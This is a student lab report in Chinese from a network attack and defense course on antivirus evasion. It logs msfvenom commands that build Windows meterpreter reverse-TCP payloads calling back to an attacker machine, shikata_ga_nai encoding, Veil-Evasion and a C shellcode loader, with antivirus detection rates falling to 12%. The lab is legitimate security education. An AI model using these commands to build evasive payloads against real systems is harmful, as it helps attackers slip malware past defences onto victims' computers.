20145309《网络对抗技术》免杀原理与实践
20145309《网络对抗技术》免杀原理与实践
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
根据特征来检测:对已存在的流行代码特征的提取与比对
根据行为来检测:是否有更改注册表行为、是否有设置自启动、是否有修改权限等等
(2)免杀是做什么?
使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀。
(3)免杀的基本方法有哪些?
加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加;
加花指令:就是加一段垃圾代码,但是并不影响程序的正常执行,加了花指令后,使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果;
再编译:如果有源代码可以使用其他语言重新编写再编译,或者利用已有的shellcode构造payload重新编译生成;
修改行为:尽量少做能被杀毒软件直接检测到的敏感行为,可以使用反弹式连接,或者减少对系统注册表之类的修改。
2.实践总结与体会
本次实验做得非常艰难,但是最后在反复纠缠室友的前提下还是完成了,通过实验我了解了杀毒软件查杀的原理,以及一般恶意代码是如何伪装的。发现即使安装了杀毒软件以及防火墙,还是不能完全的保证电脑是安全的。
3.离实战还缺些什么技术或步骤?
编程能力的问题,以我现在的水平,只能理解恶意代码的基本原理,还要借助一些恶意代码的生成和编译工具,并不能全手工做出一个恶意代码,所以很容易就会被杀毒软件检查到。
4.实践过程记录
msfvenom直接生成meterpreter可执行文件
- Windows的IP地址为:192.168.1.105
- Kali的IP地址为:193.168.1.106
- 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 PORT=5309 -f exe > test.exe命令生成meterpreter可执行文件test.exe
- 使用ncat将文件传输到windows主机
我们上http://www.virscan.org/这个网站检测一下有多少查毒软件可以将其查杀出来
- 扫描结果:51%的杀软(20/39)报告发现病毒
Msfvenom使用编码器生成meterpreter可执行文件
编码一次:
- 使用ncat将文件传输到windows主机
再次检测:
- 描结果:46%的杀软(18/39)报告发现病毒
- 编码十次
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.106 PORT=5309-f
再次检测:
- 扫描结果:46%的杀软(18/39)报告发现病毒
- 编码十次
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.106 PORT=5309 -f exe > test2.exe命令生成编码过的可执行文件test2.exe
- 使用ncat将文件传输到windows主机
再次检测:
- 在Kali中打开veil-evasion:直接在输入veil-evasion
- 然后在menu里面输入以下命令来生成可执行文件:
- use python/meterpreter/rev_tcp
- set LHOST 192.168.1.106
- generate
- 5309test
检测结果如下:
- 扫描结果:23%的杀软(9/39)报告发现病毒,效果显著提升。
使用C语言调用Shellcode
- 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.95 LPORT=333 -f c命令生成一个C语言shellcode数组
- 利用这个数组在Windows主机的vs平台下写shellcode,
程序一生成就被360杀毒查杀了
在Kali下使用msf监听,运行刚刚编译生成的可执行文件,成功获取权限。
用360杀毒查杀不出来
检测结果如下:
- 扫描结果:12%的杀软(5/39)报告发现病毒。基本达成。